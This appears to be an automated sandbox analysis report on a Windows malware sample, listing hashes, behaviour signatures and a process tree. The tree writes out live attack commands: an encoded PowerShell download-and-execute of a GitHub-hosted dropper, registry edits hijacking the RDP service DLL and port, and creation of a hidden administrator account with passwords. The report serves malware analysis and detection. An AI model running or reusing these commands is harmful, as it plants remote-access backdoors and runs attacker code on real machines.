Analysis

  • max time kernel
    48s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-06-2021 15:07

General

  • Target

    20f307c716a689f4afa3a76b7143db22.exe

  • Size

    6.0MB

  • MD5

    20f307c716a689f4afa3a76b7143db22

  • SHA1

    2fd6796fd158c93b14654240533511af6fec03e5

  • SHA256

    3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd

  • SHA512

    0a8d1b2d0cbd3860df907eb692aa2d775f021822b4d856c051d84e8056a2c1cf893bab68f471b69db0615341dd2dfe78dfac1b79d2239217cfbdf71bfb84061b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe
    "C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qc1klqpt\qc1klqpt.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3180
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2BE8.tmp" "c:\Users\Admin\AppData\Local\Temp\qc1klqpt\CSC181D763AEC2E4430B3911E3EB82E42B0.TMP"
          4⤵
            PID:3976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4072
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2500
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3352
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1820
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2720
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3252
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4080
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2748
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4000
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3600
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1432
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:716
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1900
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:780
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1556
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3976
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2144
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3352
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2732
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc GaRyvMGs /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:580
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc GaRyvMGs /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3704
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc GaRyvMGs /add
                          3⤵
                            PID:1612
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4080
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3180
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1820
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2116
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1120
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:1904
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3904
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3440
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:1072
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc GaRyvMGs
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2752
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc GaRyvMGs
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1472
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc GaRyvMGs
                                  3⤵
                                    PID:2748
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1904
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:4012
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:1612
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:1036
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:3908
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:3904
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3440
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C net user wgautilacc 1234
                                        1⤵
                                          PID:3128
                                          • C:\Windows\system32\net.exe
                                            net user wgautilacc 1234
                                            2⤵
                                              PID:716
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                3⤵
                                                  PID:1852

                                            Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/1432-201-0x000001BDD74D8000-0x000001BDD74DA000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1432-193-0x000001BDD74D6000-0x000001BDD74D8000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1432-170-0x000001BDD74D3000-0x000001BDD74D5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1432-169-0x000001BDD74D0000-0x000001BDD74D2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2900-152-0x0000028960108000-0x0000028960109000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2900-151-0x0000028960C30000-0x0000028960C31000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2900-150-0x00000289608A0000-0x00000289608A1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2900-145-0x0000028960106000-0x0000028960108000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2900-143-0x0000028947EF0000-0x0000028947EF1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2900-134-0x0000028960100000-0x0000028960102000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2900-135-0x0000028960103000-0x0000028960105000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2900-128-0x0000028960310000-0x0000028960311000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2900-125-0x0000028947EC0000-0x0000028947EC1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/3440-245-0x000002E04B8D8000-0x000002E04B8D9000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/3440-244-0x000002E04B8D6000-0x000002E04B8D8000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3440-243-0x000002E04B8D3000-0x000002E04B8D5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3440-242-0x000002E04B8D0000-0x000002E04B8D2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-203-0x000002CA23B10000-0x000002CA23B12000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-206-0x000002CA23B18000-0x000002CA23B1A000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-204-0x000002CA23B13000-0x000002CA23B15000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-202-0x000002CA23B16000-0x000002CA23B18000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3896-119-0x000001DCC40D6000-0x000001DCC40D7000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/3896-114-0x000001DCC4510000-0x000001DCC4931000-memory.dmp

                                              Filesize

                                              4.1MB

                                            • memory/3896-117-0x000001DCC40D3000-0x000001DCC40D5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3896-116-0x000001DCC40D0000-0x000001DCC40D2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3896-118-0x000001DCC40D5000-0x000001DCC40D6000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/4072-208-0x0000014E528E3000-0x0000014E528E5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/4072-210-0x0000014E528E8000-0x0000014E528EA000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/4072-207-0x0000014E528E0000-0x0000014E528E2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/4072-209-0x0000014E528E6000-0x0000014E528E8000-memory.dmp

                                              Filesize

                                              8KB